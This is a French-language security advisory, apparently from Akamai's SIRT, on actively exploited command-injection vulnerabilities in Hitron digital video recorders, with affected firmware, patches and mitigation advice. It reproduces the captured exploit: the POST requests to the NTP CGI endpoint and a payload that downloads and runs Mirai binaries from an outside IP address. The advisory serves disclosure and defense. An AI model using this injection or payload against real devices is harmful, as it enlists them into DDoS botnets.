Vulnérabilité activement exploitée dans les enregistreurs vidéo numériques Hitron : corrigée, correctifs disponibles
Synthèse
L'équipe SIRT (Security Intelligence Response Team) d'Akamai a publié une mise à jour supplémentaire pour la série de conseils sur InfectedSlurs, depuis que l'un des fournisseurs concernés a publié des correctifs et des instructions.
La vulnérabilité dans Hitron a été identifiée « in the wild » et s'est vue attribuer les ID CVE suivants :
CVE-2024-22768 — Un score de base CVSS v3.1 de 7,4 a été calculé ; la chaîne vectorielle CVSS est (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22769 — Un score de base CVSS v3.1 de 7,4 a été calculé ; la chaîne vectorielle CVSS est (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22770 — Un score de base CVSS v3.1 de 7,4 a été calculé ; la chaîne vectorielle CVSS est (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22771 — Un score de base CVSS v3.1 de 7,4 a été calculé ; la chaîne vectorielle CVSS est (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22772 — Un score de base CVSS v3.1 de 7,4 a été calculé ; la chaîne vectorielle CVSS est (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-23842 — Un score de base CVSS v3.1 de 7,4 a été calculé ; la chaîne vectorielle CVSS est (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
Les charges utiles malveillantes capturées « in the wild » installent un logiciel malveillant basé sur Mirai pour créer un botnet DDoS (déni de service distribué) .
Nous avons fourni une longue liste d'indicateurs de compromission (IOC), de règles Snort et de règles YARA dans la recherche originale, pour aider à identifier ces tentatives d'exploitation « in the wild » ainsi que les possibles infections actives sur les réseaux de défenseurs.
À savoir
Dans le cadre de la découverte d'InfectedSlurs, l'équipe SIRT d'Akamai a identifié des vulnérabilités dans plusieurs modèles d'enregistreurs vidéo numériques Hitron activement exploitées « in the wild ». Les terminaux Hitron sont fabriqués en Corée du Sud par Hitron Systems.
Cette vulnérabilité permet à un attaquant authentifié de réaliser une injection de commande du système d'exploitation avec une charge utile fournie via une requête POST à l'interface de gestion. Dans sa configuration actuelle, il utilise les informations d'identification par défaut du terminal dans les charges utiles capturées.
Les terminaux et versions de micrologiciel concernés sont les suivants :
DVR HVR-4781 : versions 1.03 à 4.02
DVR HVR-8781 : versions 1.03 à 4.02
DVR HVR-16781 : versions 1.03 à 4.02
DVR LGUVR-4H : versions 1.02 à 4.02
DVR LGUVR-8H : versions 1.02 à 4.02
DVR LGUVR-16H : versions 1.02 à 4.02
Le fournisseur (Hitron Systems) a publié de nouvelles versions de micrologiciel pour corriger ces vulnérabilités. Il suggère une mise à niveau vers la version 4.03 ou ultérieure du micrologiciel pour tous les modèles concernés dès que possible. Des avis ont également été publiés par CISA et KISA. KISA a également publié des avis relatifs aux CVE individuels, accessibles aux liens suivants :
Exploitation observée
Fin octobre 2023, les analystes SIRT d'Akamai ont remarqué une augmentation significative de l'activité de nos honeypots ciblant un port TCP rarement exploité. Les sondes étaient peu fréquentes et semblaient d'abord tenter une authentification via une requête POST à /cgi-bin/system_ntp.cgi (Figure 1) suivi d'une tentative d'exploitation par injection de commande (Figure 2). Les terminaux ciblés sont les enregistreurs vidéo numériques Hitron Systems vulnérables au RCE par injection de commande (Figure 3). Une fois authentifié, l'attaquant cible la vulnérabilité d'injection de commande dans le paramètre timeserver via une requête POST à /cgi-bin/system_ntp.cgi.
URL: /cgi-bin/system_ntp.cgi
POST BODY:
enc=11&ip=[targeted IP]&username=[REDACTED]&password=[REDACTED]
Figure 1 : Tentative d'authentification
URL: /cgi-bin/system_ntp.cgi
POST BODY:
lang=ja&useNTPServer=1&synccheck=1&public=0×erver=[RCE
PAYLOAD]&interval=60&enableNTPServer=1
Figure 2 : Tentative d'exploitation
curl+http://45.142.182.96/spl/mips+-O;+chmod+777+mips;+./mips+kdvr;curl+http://45.142.182.96/spl/x86+-O;+chmod+777+x86;+./x86+kdvr;curl+http://45.142.182.96/spl/mpsl+-O;+chmod+777+mpsl;+./mpsl+kdvr;curl+http://45.142.182.96/spl/arm+-O;+chmod+777+arm;+./arm+kdvr;curl+http://45.142.182.96/spl/arm5+-O;+chmod+777+arm5;+./arm5+kdvr;curl+http://45.142.182.96/spl/arm6+-O;+chmod+777+arm6;+./arm6+kdvr;curl+http/45.142.182.96/spl/arm7+-O;+chmod+777+arm7;+./arm7+kdvr
Figure 3 : Charge utile RCE capturée
Protection
Les utilisateurs d'enregistreurs vidéo numériques Hitron qui exécutent des terminaux affectés par cette vulnérabilité doivent immédiatement effectuer une mise à niveau vers les dernières versions disponibles du micrologiciel (4.03 et ultérieures) corrigeant la vulnérabilité RCE.
HVR-4781 : version 4.03
HVR-8781 : version 4.03
HVR-16781 : version 4.03
LGUVR-4H : version 4.03
LGUVR-8H : version 4.03
LGUVR-16H : version 4.03
En outre, pour se protéger contre cette menace et les menaces futures, plusieurs mesures de sécurité doivent être mises en place. Tout d'abord, les organisations et personnes utilisant les terminaux concernés doivent immédiatement modifier les informations d'identification par défaut pour renforcer la sécurité. Une surveillance régulière du trafic et des journaux du réseau peut contribuer à la détection précoce d'activités suspectes. L'installation rapide des correctifs de sécurité et des mises à jour du fabricant du terminal est cruciale pour remédier à la vulnérabilité identifiée.
Collaborer avec des chercheurs en sécurité, des fournisseurs de renseignements sur les menaces et des pairs du secteur peut vous aider à vous tenir au courant des menaces et vulnérabilités émergentes. Enfin, le maintien d'un inventaire actualisé des terminaux connectés et la mise en œuvre d'une segmentation du réseau peuvent limiter l'impact potentiel de telles attaques.
Conclusion
La résolution des problèmes de sécurité identifiés dans les systèmes Hitron et les terminaux associés nécessite une approche multidimensionnelle, combinant sensibilisation des utilisateurs, application rapide de correctifs, surveillance proactive et collaboration au sein de la communauté de cybersécurité. Grâce à ces mesures, les organisations et les individus peuvent réduire de manière significative les risques que représentent les activités malveillantes observées.
Restez à l'écoute
Pour suivre les menaces et autres découvertes du SIRT et d'autres groupes de recherche en sécurité Akamai, suivez-nous sur X (anciennement Twitter) ou consultez notre hub SIG.
L'équipe SIRT d'Akamai tient à remercier les employés de CISA, US-CERT et KISA pour avoir signalé ces vulnérabilités aux fournisseurs.
